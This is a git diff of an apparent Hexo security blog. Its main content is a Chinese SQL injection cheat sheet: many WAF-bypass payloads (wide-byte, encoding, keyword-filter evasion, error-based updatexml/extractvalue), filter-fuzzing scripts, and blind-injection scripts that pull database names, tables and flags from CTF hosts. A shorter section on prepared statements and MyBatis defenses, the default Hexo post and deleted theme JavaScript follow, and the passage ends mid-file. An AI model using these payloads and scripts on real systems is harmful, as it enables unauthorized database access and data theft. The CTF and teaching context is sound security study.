- 10.通用绕过(编码):

-

如URLEncode编码,ASCII,HEX,unicode编码绕过:

-

or1=1即%6f%72%20%31%3d%31,而Test也可以为CHAR(101)+CHAR(97)+CHAR(115)+CHAR(116)。

- -

- 11 等价函数绕过

-
1
2
3
4
5
6
7
8
9
10
11
hex()、bin()==>ascii()

sleep()==>benchmark()

concat_ws()==>group_concat()

mid()、substr()==>substring() @@user==>user() @@datadir==>datadir()

举例:substring()和substr()无法使用时:?id=1+and+ascii(lower(mid((select+pwd+from+users+limit+1,1),1,1)))=74或者:

substr((select'password'),1,1)=0x70strcmp(left('password',1),0x69)=1strcmp(left('password',1),0x70)=0strcmp(left('password',1),0x71)=-1
- - -

- 12 宽字节绕过

-
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
过滤单引号时,可以试试宽字节
%bf%27 %df%27 %aa%27


过滤 ' 的时候往往利用的思路是将 ' 转换为 \' 。
在 mysql 中使用 GBK 编码的时候,会认为两个字符为一个汉字,一般有两种思路:

(1)%df 吃掉 \ 具体的方法是 urlencode('\) = %5c%27,我们在 %5c%27 前面添加 %df ,形成 %df%5c%27 ,而 mysql 在 GBK 编码方式的时候会将两个字节当做一个汉字,%df%5c 就是一个汉字,%27 作为一个单独的(')符号在外面:
id=-1%df%27union select 1,user(),3--+

(2)将 \' 中的 \ 过滤掉,例如可以构造 %**%5c%5c%27 ,后面的 %5c 会被前面的 %5c 注释掉。
一般产生宽字节注入的PHP函数:
1.replace():过滤 ' \ ,将 ' 转化为 \' ,将 \ 转为 \\,将 " 转为 \" 。用思路一。
2.addslaches():返回在预定义字符之前添加反斜杠(\)的字符串。预定义字符:' , " , \ 。用思路一
(防御此漏洞,要将 mysql_query 设置为 binary 的方式)

3.mysql_real_escape_string():转义下列字符:
\x00 \n \r \'" \x1a
(防御,将mysql设置为gbk即可)
- - - - - - -

- * 万能密钥绕过

-
1
用经典的or 1=1判断绕过,如or ‘swords’ =’swords
- - -

- 8 +,-,.号拆解字符串绕过

-
1
2
?id=1' or '11+11'='11+11'
"-"和"."
- - - - -

- 10 in绕过

-
1
or '1' IN ('swords')
- - -

- 11 >,

-
1
2
or 'password' > 'pass'
or 1<3
- - -

- 12 等价函数与命令绕过

-

1.函数或变量

-
1
2
3
4
5
6
7
8
9
10
11
hex()、bin() ==> ascii()
sleep() ==>benchmark()
concat_ws()==>group_concat()
mid()、substr() ==> substring()
@@user ==> user()
@@datadir ==> datadir()

举例:substring()和substr()无法使用时:
?id=1+and+ascii(lower(mid((select+pwd+from+users+limit+1,1),1,1)))=74 
或者:
substr((select 'password'),1,1) = 0x70strcmp(left('password',1), 0x69) = 1strcmp(left('password',1), 0x70) = 0strcmp(left('password',1), 0x71) = -1
- -

2.符号

-
1
andor有可能不能使用,可以试下&&||=不能使用的情况,可以考虑尝试
- -

3.生僻函数

-
1
2
3
4
5
6
7
MySQL/PostgreSQL支持XML函数:
Select UpdateXML(‘ ’,’/script/@x/’,’src=//evil.com’);          
?id=1 and 1=(updatexml(1,concat(0x3a,(select user())),1))

SELECT xmlelement(name img,xmlattributes(1as src,'a\l\x65rt(1)'as \117n\x65rror)); //postgresql

?id=1 and extractvalue(1, concat(0x5c, (select table_name from information_schema.tables limit 1)));and 1=(updatexml(1,concat(0x5c,(select user()),0x5c),1))and extractvalue(1, concat(0x5c, (select user()),0x5c))
- - -

- 13 反引号`绕过

-
1
select `version()`,可以用来过空格和正则,特殊情况下还可以将其做注释符用
- - -

- 14 换行符绕过

-
1
%0a、%0d
- - -

- 15 截断绕过

-
1
2
3
%00,%0A,?,/0,........,%80-%99
目录字符串,在window256字节、linux下4096字节时会达到最大值,最大值长度之后的字符将被丢弃。
././././././././././././././././abcabc..1/abc/../1/abc/../1/abc
- - - - -

- 17 \N绕过

-
1
2
3
4
5
\N其实相当于NULL字符

select * from users where id=8E0union select 1,2,3,4,5,6,7,8,9,0
select * from users where id=8.0union select 1,2,3,4,5,6,7,8,9,0
select * from users where id=\Nunion select 1,2,3,4,5,6,7,8,9,0
- - -

- 18 特殊的绕过函数

-
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
1. 通过greatest函数绕过不能使用大小于符号的情况
greatest(a,b),返回a和b中较大的那个数。当我们要猜解user()第一个字符的ascii码是否小于等于150时,可使用:
mysql> select greatest(ascii(mid(user(),1,1)),150)=150;
+------------------------------------------+
| greatest(ascii(mid(user(),1,1)),150)=150 |
+------------------------------------------+
| 1 |
+------------------------------------------+
如果小于150,则上述返回值为True

2. 通过substr函数绕过不能使用逗号的情况
mid(user() from 1 for 1)或substr(user() from 1 for 1)
mysql> select ascii(substr(user() from 1 for 1)) < 150;
+------------------------------------------+
| ascii(substr(user() from 1 for 1)) < 150 |
+------------------------------------------+
| 1 |
+------------------------------------------+

3.使用数学运算函数在子查询中报错
exp(x)函数的作用: 取常数e的x次方,其中,e是自然对数的底。
~x 是一个一元运算符,将x按位取补

select exp(~(select*from(select user())a))mysql报错:
mysql> select exp(~(select*from(select user())a));
ERROR 1690 (22003): DOUBLE value is out of range inexp(~((select ‘root@localhostfrom dual)))’
这条查询会出错,是因为exp(x)的参数x过大,超过了数值范围,分解到子查询,就是:(select*from(select user())a)
得到字符串 root@localhost表达式’root@localhost’被转换为0,按位取补之后得到一个非常的大数,它是MySQL中最大的无符号整数
- - - - -

- mysql黑魔法绕过

-

select{x user}from {x mysql.user};

-

img

-

select user from mysql.user where 1=\Nunion select@1;

-

select user from mysql.user where 1=\Nunion select-.1;

-

select~2.1from xxxx

-

select-2.1from xxx

-

select~2e1from xxx

-
1
if((select%0b(select(xxx)``from(xxx))regexp(0x5e61)),(`sleep`(5)),0)
- - - - - - -

- 2、过滤闭合

- -

- 1 过滤关键字

-
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
1 过滤关键字   and or

php代码 preg_match('/(and|or)/i',$id)

会过滤的攻击代码 1 or 1=1 1 and 1=1

绕过方式 1 || 1=1 1 && 1=1

2 过滤关键字 and or union

php代码 preg_match('/(and|or|union)/i',$id)

会过滤的攻击代码 union select user,password from users

绕过方式 1 && (select user from users where userid=1)='admin'

3 过滤关键字 and or union where

php代码 preg_match('/(and|or|union|where)/i',$id)

会过滤的攻击代码 1 && (select user from users where user_id = 1) = 'admin'

绕过方式 1 && (select user from users limit 1) = 'admin'

4 过滤关键字 and or union where

php代码 preg_match('/(and|or|union|where)/i',$id)

会过滤的攻击代码 1 && (select user from users where user_id = 1) = 'admin'

绕过方式 1 && (select user from users limit 1) = 'admin'

5 过滤关键字 and, or, union, where, limit

php代码 preg_match('/(and|or|union|where|limit)/i', $id)

会过滤的攻击代码 1 && (select user from users limit 1) = 'admin'

绕过方式 1 && (select user from users group by user_id having user_id = 1) = 'admin'#user_id聚合中user_id为1的user为admin

6 过滤关键字 and, or, union, where, limit, group by

php代码 preg_match('/(and|or|union|where|limit|group by)/i', $id)

会过滤的攻击代码 1 && (select user from users group by user_id having user_id = 1) = 'admin'

绕过方式 1 && (select substr(group_concat(user_id),1,1) user from users ) = 1

7 过滤关键字 and, or, union, where, limit, group by, select

php代码 preg_match('/(and|or|union|where|limit|group by|select)/i', $id)

会过滤的攻击代码 1 && (select substr(gruop_concat(user_id),1,1) user from users) = 1

绕过方式 1 && substr(user,1,1) = 'a'

8 过滤关键字 and, or, union, where, limit, group by, select, '

php代码 preg_match('/(and|or|union|where|limit|group by|select|\')/i', $id)

会过滤的攻击代码 1 && (select substr(gruop_concat(user_id),1,1) user from users) = 1

绕过方式 1 && user_id is not null 1 && substr(user,1,1) = 0x61 1 && substr(user,1,1) = unhex(61)

9 过滤关键字 and, or, union, where, limit, group by, select, ', hex

php代码 preg_match('/(and|or|union|where|limit|group by|select|\'|hex)/i', $id)

会过滤的攻击代码 1 && substr(user,1,1) = unhex(61)

绕过方式 1 &&substr(user,1,1) =lower(conv(11,10,16)) #十进制的11转化为十六进制,并小写。

10 过滤关键字and,or,union,where,limit,groupby,select,', hex, substr

php代码 preg_match('/(and|or|union|where|limit|groupby|select|\'|hex|substr)/i', $id)

会过滤的攻击代码 1 &&substr(user,1,1) =lower(conv(11,10,16))/td>

绕过方式 1 &&lpad(user,7,1)

11 过滤关键字and,or,union,where,limit,groupby,select,', hex, substr, 空格

php代码 preg_match('/(and|or|union|where|limit|groupby|select|\'|hex|substr|\s)/i', $id)

会过滤的攻击代码 1 &&lpad(user,7,1)/td>

绕过方式 1%0b||%0blpad(user,7,1)

12 过滤关键字andorunionwhere

php代码 preg_match('/(and|or|union|where)/i',$id)

会过滤的攻击代码 1 || (selectuserfromuserswhereuser_id = 1) ='admin'

绕过方式 1 || (selectuserfromuserslimit1) ='admin'
- - - - -

- 0x03 FUZZ

- -

- 1 过滤字符的FUZZ

-

get

-
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
import requests

sql_char = ['select',
'union',
'and',
'or',
'sleep',
'where',
'from',
'limit',
'group',
'by',
'like',
'prepare',
'as',
'if',
'char',
'ascii',
'mid',
'left',
'right',
'substring',
'handler',
'updatexml',
'extractvalue',
'benchmark',
'insert',
'update',
'all',
'@',
'#',
'^',
'&',
'*',
'\'',
'"',
'~',
'`',
'(',
')',
'--',
'=',
'/',
'\\',
' ']

for char in sql_char:
res = requests.get("http://127.0.0.1/get.php?query="+char+"&submit2=sbumit")
if 'Illegal Char' in res.text:
print("该字符是非法字符: {0}".format(char))
else:
print("通过: {0}".format(char))

- -

post

-
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
import requests

sql_char = ['select',
'union',
'and',
'or',
'sleep',
'where',
'from',
'limit',
'group',
'by',
'like',
'prepare',
'as',
'if',
'char',
'ascii',
'mid',
'left',
'right',
'substring',
'handler',
'updatexml',
'extractvalue',
'benchmark',
'insert',
'update',
'all',
'@',
'#',
'^',
'&',
'*',
'\'',
'"',
'~',
'`',
'(',
')',
'--',
'=',
'/',
'\\',
' ']
url = "http://127.0.0.1/get.php"
header = {
'Host':'127.0.0.1',
'User-Agent':'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:79.0) Gecko/20100101 Firefox/79.0',
'Accept':'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8',
'Accept-Language':'zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2',
'Accept-Encoding':'gzip, deflate',
'Content-Type':'application/x-www-form-urlencoded'
}
for char in sql_char:
post_data = "query=test"+char+"&submit2=sbumit"
res = requests.post(url,data=post_data,headers=header)
if 'Illegal Char' in res.text:
print("该字符是非法字符: {0}".format(char))
else:
print("通过: {0}".format(char))

- - - - -

- etc1 SQL注入的防御

- -

- 1、检查变量数据类型和格式

-

  如果你的SQL语句是类似where id={$id}这种形式,数据库里所有的id都是数字,那么就应该在SQL被执行前,检查确保变量id是int类型;如果是接受邮箱,那就应该检查并严格确保变量一定是邮箱的格式,其他的类型比如日期、时间等也是一个道理。总结起来:只要是有固定格式的变量,在SQL语句执行前,应该严格按照固定格式去检查,确保变量是我们预想的格式,这样很大程度上可以避免SQL注入攻击。
  比如,我们前面接受username参数例子中,我们的产品设计应该是在用户注册的一开始,就有一个用户名的规则,比如5-20个字符,只能由大小写字母、数字以及一些安全的符号组成,不包含特殊字符。此时我们应该有一个check_username的函数来进行统一的检查。不过,仍然有很多例外情况并不能应用到这一准则,比如文章发布系统,评论系统等必须要允许用户提交任意字符串的场景,这就需要采用过滤等其他方案了。

- -

- 2、过滤特殊符号

-

  对于无法确定固定格式的变量,一定要进行特殊符号过滤或转义处理。

- -

- 3、绑定变量,使用预编译语句

-

  MySQL的mysqli驱动提供了预编译语句的支持,不同的程序语言,都分别有使用预编译语句的方法

-

  实际上,绑定变量使用预编译语句是预防SQL注入的最佳方式,使用预编译的SQL语句语义不会发生改变,在SQL语句中,变量用问号?表示,黑客即使本事再大,也无法改变SQL语句的结构

- -

- etc2 预编译

- -

- 1 什么是sql预编译**

-

1.1:预编译语句是什么 

-

通常我们的一条sql在db接收到最终执行完毕返回可以分为下面三个过程:

-
    -
  1. 词法和语义解析  
  2. -
  3. 优化sql语句,制定执行计划
  4. -
  5. 执行并返回结果
  6. -
-

我们把这种普通语句称作Immediate Statements。  

-

但是很多情况,我们的一条sql语句可能会反复执行,或者每次执行的时候只有个别的值不同(比如query的where子句值不同,update的set子句值不同,insert的values值不同)。
如果每次都需要经过上面的词法语义解析、语句优化、制定执行计划等,则效率就明显不行了。

-

  所谓预编译语句就是将这类语句中的值用占位符替代,可以视为将sql语句模板化或者说参数化,一般称这类语句叫Prepared Statements或者Parameterized Statements
  预编译语句的优势在于归纳为:一次编译、多次运行,省去了解析优化等过程;此外预编译语句能防止sql注入。
  当然就优化来说,很多时候最优的执行计划不是光靠知道sql语句的模板就能决定了,往往就是需要通过具体值来预估出成本代价。

-

1.2: MySQL的预编译功能

-

  注意MySQL的老版本(4.1之前)是不支持服务端预编译的,但基于目前业界生产环境普遍情况,基本可以认为MySQL支持服务端预编译。

-

 下面我们来看一下MySQL中预编译语句的使用。
  (1)建表 首先我们有一张测试表t,结构如下所示:

-
1
2
3
4
5
6
7
8
mysql> show create table t\G
*************************** 1. row ***************************
Table: t
Create Table: CREATE TABLE `t` (
`a` int(11) DEFAULT NULL,
`b` varchar(20) DEFAULT NULL,
UNIQUE KEY `ab` (`a`,`b`)
) ENGINE=InnoDB DEFAULT CHARSET=utf8
- - - -

 (2)编译

-

  我们接下来通过 PREPARE stmt_name FROM preparable_stm的语法来预编译一条sql语句

-
1
2
3
mysql> prepare ins from 'insert into t select ?,?';
Query OK, 0 rows affected (0.00 sec)
Statement prepared
- -

 (3)执行

-

  我们通过EXECUTE stmt_name [USING @var_name [, @var_name] ...]的语法来执行预编译语句

-
1
2
3
4
5
6
7
8
9
10
11
12
13
14
mysql> set @a=999,@b='hello';
Query OK, 0 rows affected (0.00 sec)

mysql> execute ins using @a,@b;
Query OK, 1 row affected (0.01 sec)
Records: 1 Duplicates: 0 Warnings: 0

mysql> select * from t;
+------+-------+
| a | b |
+------+-------+
| 999 | hello |
+------+-------+
1 row in set (0.00 sec)
- - - -

  可以看到,数据已经被成功插入表中。

-

  MySQL中的预编译语句作用域是session级,但我们可以通过max_prepared_stmt_count变量来控制全局最大的存储的预编译语句。

-
1
2
3
4
5
mysql> set @@global.max_prepared_stmt_count=1;
Query OK, 0 rows affected (0.00 sec)

mysql> prepare sel from 'select * from t';
ERROR 1461 (42000): Can't create more than max_prepared_stmt_count statements (current value: 1)
- -

当预编译条数已经达到阈值时可以看到MySQL会报如上所示的错误。

-

(4)释放
  如果我们想要释放一条预编译语句,则可以使用{DEALLOCATE | DROP} PREPARE stmt_name的语法进行操作:

-
1
2
mysql> deallocate prepare ins;
Query OK, 0 rows affected (0.00 sec)
- - -

- 2:为什么PrepareStatement可以防止sql注入

-

  原理是采用了预编译的方法,先将SQL语句中可被客户端控制的参数集进行编译,生成对应的临时变量集,再使用对应的设置方法,为临时变量集里面的元素进行赋值,赋值函数setString(),会对传入的参数进行强制类型检查和安全检查,所以就避免了SQL注入的产生。下面具体分析

-

 (1):为什么Statement会被sql注入

-

  因为Statement之所以会被sql注入是因为SQL语句结构发生了变化。比如:

-
1
2
"select*from tablename where username='"+uesrname+  
"'and password='"+password+"'"
- -

  在用户输入’or true or’之后sql语句结构改变。

-
1
select*from tablename where username=''or true or'' and password=''
- -

  这样本来是判断用户名和密码都匹配时才会计数,但是经过改变后变成了或的逻辑关系,不管用户名和密码是否匹配该式的返回值永远为true;

-

 (2)为什么Preparement可以防止SQL注入。

-

  因为Preparement样式为

-
1
select*from tablename where username=? and password=?
- -

  该SQL语句会在得到用户的输入之前先用数据库进行预编译,这样的话不管用户输入什么用户名和密码的判断始终都是并的逻辑关系,防止了SQL注入

-

  简单总结,参数化能防注入的原因在于,语句是语句,参数是参数,参数的值并不是语句的一部分,数据库只按语句的语义跑,至于跑的时候是带一个普通背包还是一个怪物,不会影响行进路线,无非跑的快点与慢点的区别。

-
- -

- 3:mybatis是如何防止SQL注入的

-

  1、首先看一下下面两个sql语句的区别:

-
1
2
3
4
5
6
<select id="selectByNameAndPassword" parameterType="java.util.Map" resultMap="BaseResultMap">
select id, username, password, role
from user
where username = #{username,jdbcType=VARCHAR}
and password = #{password,jdbcType=VARCHAR}
</select>
- - - -
1
2
3
4
5
6
<select id="selectByNameAndPassword" parameterType="java.util.Map" resultMap="BaseResultMap">
select id, username, password, role
from user
where username = ${username,jdbcType=VARCHAR}
and password = ${password,jdbcType=VARCHAR}
</select>
- - - -

mybatis中的#和$的区别:

-

  1、#将传入的数据都当成一个字符串,会对自动传入的数据加一个双引号。
如:where username=#{username},如果传入的值是111,那么解析成sql时的值为where username=”111”, 如果传入的值是id,则解析成的sql为where username=”id”. 
  2、$将传入的数据直接显示生成在sql中。
如:where username=${username},如果传入的值是111,那么解析成sql时的值为where username=111;
如果传入的值是;drop table user;,则解析成的sql为:select id, username, password, role from user where username=;drop table user;
  3、#方式能够很大程度防止sql注入,$方式无法防止Sql注入。
  4、$方式一般用于传入数据库对象,例如传入表名.
  5、一般能用#的就别用$,若不得不使用“${xxx}”这样的参数,要手工地做好过滤工作,来防止sql注入攻击。
  6、在MyBatis中,“${xxx}”这样格式的参数会直接参与SQL编译,从而不能避免注入攻击。但涉及到动态表名和列名时,只能使用“${xxx}”这样的参数格式。所以,这样的参数需要我们在代码中手工进行处理来防止注入。**
【结论】在编写MyBatis的映射语句时,尽量采用“#{xxx}”这样的格式。若不得不使用“${xxx}”这样的参数,要手工地做好过滤工作,来防止SQL注入攻击。**

- -

- 4 mybatis是如何做到防止sql注入的

-

  MyBatis框架作为一款半自动化的持久层框架,其SQL语句都要我们自己手动编写,这个时候当然需要防止SQL注入。其实,MyBatis的SQL是一个具有“输入+输出”的功能,类似于函数的结构,参考上面的两个例子。其中,parameterType表示了输入的参数类型,resultType表示了输出的参数类型。回应上文,如果我们想防止SQL注入,理所当然地要在输入参数上下功夫。上面代码中使用#的即输入参数在SQL中拼接的部分,传入参数后,打印出执行的SQL语句,会看到SQL是这样的:

-
1
select id, username, password, role from user where username=? and password=?
- -

  不管输入什么参数,打印出的SQL都是这样的。这是因为MyBatis启用了预编译功能,在SQL执行前,会先将上面的SQL发送给数据库进行编译;执行时,直接使用编译好的SQL,替换占位符“?”就可以了。因为SQL注入只能对编译过程起作用,所以这样的方式就很好地避免了SQL注入的问题。

-

  【底层实现原理】MyBatis是如何做到SQL预编译的呢?其实在框架底层,是JDBC中的PreparedStatement类在起作用,PreparedStatement是我们很熟悉的Statement的子类,它的对象包含了编译好的SQL语句。这种“准备好”的方式不仅能提高安全性,而且在多次执行同一个SQL时,能够提高效率。原因是SQL已编译好,再次执行时无需再编译

- -

- 脚本

- -

- sql布尔盲注

-
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
url = "http://124.156.121.112:28069/?id=-1'/**/"
def db(url): #爆库名
for i in range(1,5):
for j in range(32,128):
u= "or/**/ascii(substr(database()/**/from/**/"+str(i)+"/**/for/**/1))="+str(j)+"#"
s = url+u
print(s)
r = requests.get(s)
if 'By Rudyard Kipling' in r.text:
print(chr(j))

def table(url): #爆表名
for i in range(4):
table_name=''
for j in range(1,6):
for k in range(48,128):
u=id="||/**/ascii(substr((select/**/table_name/**/from/**/information_schema.tables/**/where/**/table_schema=database()/**/limit/**/1/**/offset/**/"+str(i)+")/**/from/**/"+str(j)+"/**/for/**/1))="+str(k)+"#"
s = url+u
print(s)
r = requests.get(s)
if 'By Rudyard Kipling' in r.text:
table_name+=chr(k)
print(table_name)
- - - -
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
import requests
s=requests.session()
url='https://46a0f98e-cdc3-413d-b67c-b2dbaeb5c4ec.chall.ctf.show/index.php'
table=""

for i in range(1,45):
print(i)
for j in range(31,128):
#爆表名 flag
payload = "ascii(substr((select/**/group_concat(table_name)/**/from/**/information_schema.tables/**/where/**/table_schema=database())from/**/%s/**/for/**/1))=%s#"%(str(i),str(j))
#爆字段名 flag
#payload = "ascii(substr((select/**/group_concat(column_name)/**/from/**/information_schema.columns/**/where/**/table_name=0x666C6167)from/**/%s/**/for/**/1))=%s#"%(str(i),str(j))
#读取flag
#payload = "ascii(substr((select/**/flag/**/from/**/flag)from/**/%s/**/for/**/1))=%s#"%(str(i), str(j))

ra = s.get(url=url + '?id=0/**/or/**/' + payload).text

if 'I asked nothing' in ra:
table += chr(j)
print(table)
break

- - - -
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
import requests
s=requests.session()
url='http://ab7573d3-1de2-42bd-bc68-26aaca8af4dc.chall.ctf.show/index.php'
table=""

for i in range(1,45):
print(i)
for j in range(31,128):
#爆表名 flag
#payload = "ascii(substr((select/**/group_concat(table_name)/**/from/**/information_schema.tables/**/where/**/table_schema=database())from/**/%s/**/for/**/1))=%s#"%(str(i),str(j))
#爆字段名 flag
#payload = "ascii(substr((select/**/group_concat(column_name)/**/from/**/information_schema.columns/**/where/**/table_name=0x666C6167)from/**/%s/**/for/**/1))=%s#"%(str(i),str(j))
#读取flag
payload = "ascii(substr((select/**/flag/**/from/**/flag)from/**/%s/**/for/**/1))=%s#"%(str(i), str(j))

ra = s.get(url=url + '?id=0/**/or/**/' + payload).text

if 'I asked nothing' in ra:
table += chr(j)
print(table)
break

- - - - - - - - - - - -

Hello World

Welcome to Hexo! This is your very first post. Check documentation for more info. If you get any problems when using Hexo, you can find the answer in troubleshooting or you can ask me on GitHub.

- -

- Quick Start

- -

- Create a new post

-
1
$ hexo new "My New Post"
- -

More info: Writing

- -

- Run server

-
1
$ hexo server
- -

More info: Server

- -

- Generate static files

-
1
$ hexo generate
- -

More info: Generating

- -

- Deploy to remote sites

-
1
$ hexo deploy
- -

More info: Deployment

-
\ No newline at end of file diff --git a/js/header.js b/js/header.js deleted file mode 100644 index 6f7204e..0000000 --- a/js/header.js +++ /dev/null @@ -1,212 +0,0 @@ -$(document).ready(function () { - var $menuBtn = $('.header-nav-menubtn') - var $menu = $('.header-nav-menu') - var $menuItem = $('.header-nav-menu-item') - var $submenu = $('.header-nav-submenu') - var isMobile = $menuBtn.is(':visible') - - var isMenuShow = false - var isSubmenuShow = false - - function resetMenuHeight () { - $menuItem.velocity( - { - height: $menuItem.outerHeight() - }, - { - complete: function () { - $submenu.css({ display: 'none', opacity: 0 }) - } - } - ) - } - - $(window).on( - 'resize', - Stun.utils.throttle(function () { - isMobile = $menuBtn.is(':visible') - if (isMobile) { - $submenu.removeClass('hide--force') - - if (isSubmenuShow) { - resetMenuHeight() - isSubmenuShow = false - } - } else { - $submenu.css({ display: 'none', opacity: 0 }) - } - }, 200) - ) - - var isNightModeFocus = true - var $nightMode = $('.mode') - - $(document).on('click', function () { - if ($menu.is(':visible')) { - if (isMobile && isSubmenuShow) { - resetMenuHeight() - isSubmenuShow = false - } - $menu.css({ display: 'none' }) - isMenuShow = false - } - if (isNightModeFocus) { - $nightMode.removeClass('mode--focus') - isNightModeFocus = false - } - }) - - Stun.utils.pjaxReloadHeader = function () { - $menuBtn = $('.header-nav-menubtn') - $menu = $('.header-nav-menu') - $menuItem = $('.header-nav-menu-item') - $submenu = $('.header-nav-submenu') - isMobile = $menuBtn.is(':visible') - - isMenuShow = false - isSubmenuShow = false - - function getNightMode () { - var nightMode = false - try { - if (parseInt(Stun.utils.Cookies().get(NIGHT_MODE_COOKIES_KEY))) { - nightMode = true - } - } catch (err) { - /* empty */ - } - return nightMode - } - - if (CONFIG.nightMode && CONFIG.nightMode.enable) { - var isNightMode = false - var NIGHT_MODE_COOKIES_KEY = 'night_mode' - $nightMode = $('.mode') - isNightModeFocus = true - - if (getNightMode()) { - $nightMode.addClass('mode--checked') - $nightMode.addClass('mode--focus') - $('html').addClass('nightmode') - isNightMode = true - } else { - isNightMode = false - } - $('.mode').on('click', function (e) { - e.stopPropagation() - isNightMode = !isNightMode - isNightModeFocus = true - Stun.utils.Cookies().set(NIGHT_MODE_COOKIES_KEY, isNightMode ? 1 : 0) - $nightMode.toggleClass('mode--checked') - $nightMode.addClass('mode--focus') - $('html').toggleClass('nightmode') - }) - } - - $menuBtn.on('click', function (e) { - e.stopPropagation() - if (isMobile && isMenuShow && isSubmenuShow) { - resetMenuHeight() - isSubmenuShow = false - } - if (!isMenuShow) { - isMenuShow = true - } else { - isMenuShow = false - } - $menu.velocity('stop').velocity( - { - opacity: isMenuShow ? 1 : 0 - }, - { - duration: isMenuShow ? 200 : 0, - display: isMenuShow ? 'block' : 'none' - } - ) - }) - - // Whether to allow events to bubble in the menu. - var isBubbleInMenu = false - $('.header-nav-submenu-item').on('click', function () { - isBubbleInMenu = true - }) - - $menuItem.on('click', function (e) { - if (!isMobile) { - return - } - var $submenu = $(this).find('.header-nav-submenu') - if (!$submenu.length) { - return - } - if (!isBubbleInMenu) { - e.stopPropagation() - } else { - isBubbleInMenu = false - } - - var menuItemHeight = $menuItem.outerHeight() - var submenuHeight = - menuItemHeight + Math.floor($submenu.outerHeight()) * $submenu.length - var menuShowHeight = 0 - - if ($(this).outerHeight() > menuItemHeight) { - isSubmenuShow = false - menuShowHeight = menuItemHeight - } else { - isSubmenuShow = true - menuShowHeight = submenuHeight - } - $submenu.css({ display: 'block', opacity: 1 }) - // Accordion effect. - $(this) - .velocity('stop') - .velocity({ height: menuShowHeight }, { duration: 300 }) - .siblings() - .velocity({ height: menuItemHeight }, { duration: 300 }) - }) - - $menuItem.on('mouseenter', function () { - var $submenu = $(this).find('.header-nav-submenu') - if (!$submenu.length) { - return - } - if (!$submenu.is(':visible')) { - if (isMobile) { - $submenu.css({ display: 'block', opacity: 1 }) - } else { - $submenu.removeClass('hide--force') - $submenu - .velocity('stop') - .velocity('transition.slideUpIn', { duration: 200 }) - } - } - }) - - $menuItem.on('mouseleave', function () { - var $submenu = $(this).find('.header-nav-submenu') - if (!$submenu.length) { - return - } - if (!isMobile) { - $submenu.addClass('hide--force') - isSubmenuShow = false - } - }) - } - - Stun.utils.pjaxReloadScrollIcon = function () { - if (CONFIG.header && CONFIG.header.scrollDownIcon) { - $('.header-banner-arrow').on('click', function (e) { - e.stopPropagation() - $('#container').velocity('scroll', { - offset: $('#header').outerHeight() - }) - }) - } - } - - // Initializaiton - Stun.utils.pjaxReloadHeader() - Stun.utils.pjaxReloadScrollIcon() -}) diff --git a/js/scroll.js b/js/scroll.js deleted file mode 100644 index 94ba2d6..0000000 --- a/js/scroll.js +++ /dev/null @@ -1,105 +0,0 @@ -$(document).ready(function () { - var isHeaderEnable = CONFIG.header && CONFIG.header.enable - var isShowHeaderOnPost = isHeaderEnable && CONFIG.header.showOnPost - // The previous distance from the page to the top. - var prevScrollTop = 0 - var isNavFix = false - var isAnimation = true - - function headerNavScroll () { - var isPostPage = !!$('#is-post').length - var isNoHeader = !isHeaderEnable || (isPostPage && !isShowHeaderOnPost) - var $headerNav = $('.header-nav') - var scrollTop = Math.floor($(window).scrollTop()) - var delta = Math.floor(scrollTop - prevScrollTop) - - if (scrollTop === 0) { - if (isNoHeader) { - setTimeout(function () { - $headerNav.addClass('slider--clear') - isAnimation = false - }, 200) - } - $headerNav.removeClass('header-nav--sticky') - $headerNav.removeClass('slider--up') - $headerNav.addClass('slider--down') - } else { - if (isNoHeader && scrollTop < $headerNav.height()) { - return false - } - - var MIN_SCROLL_TO_CHANGE_NAV = 5 - // Make the state of nav bar not change due to tiny scrolling. - if (Math.abs(delta) > MIN_SCROLL_TO_CHANGE_NAV) { - if (isNoHeader) { - if (!isAnimation) { - isAnimation = true - } else { - $headerNav.removeClass('slider--clear') - } - } - if (!isNavFix) { - isNavFix = true - } else { - $headerNav.addClass('header-nav--sticky') - } - if (delta > 0) { - $headerNav.removeClass('slider--down') - $headerNav.addClass('slider--up') - } else { - $headerNav.removeClass('slider--up') - $headerNav.addClass('slider--down') - } - } else { - $headerNav.addClass('header-nav--sticky') - } - } - prevScrollTop = scrollTop - } - - var isBack2topEnable = CONFIG.back2top && CONFIG.back2top.enable - var isBack2topShow = false - - // Back the page to top. - function back2top () { - var $back2top = $('#back2top') - var scrollTop = $(window).scrollTop() - - if (scrollTop !== 0) { - if (!isBack2topShow) { - $back2top.addClass('back2top--show') - $back2top.removeClass('back2top--hide') - isBack2topShow = true - } - } else { - $back2top.addClass('back2top--hide') - $back2top.removeClass('back2top--show') - isBack2topShow = false - } - } - - if (isBack2topEnable) { - // Initializaiton - back2top() - - $('#back2top').on('click', function () { - $('body') - .velocity('stop') - .velocity('scroll') - }) - } - - // Initializaiton - headerNavScroll() - - $(window).on( - 'scroll', - Stun.utils.throttle(function () { - headerNavScroll() - - if (isBack2topEnable) { - back2top() - } - }, 100) - ) -}) diff --git a/js/sidebar.js b/js/sidebar.js deleted file mode 100644 index 1bd7cc7..0000000 --- a/js/sidebar.js +++ /dev/null @@ -1,229 +0,0 @@ -$(document).ready(function () { - var tocDepth = (CONFIG.sidebar && 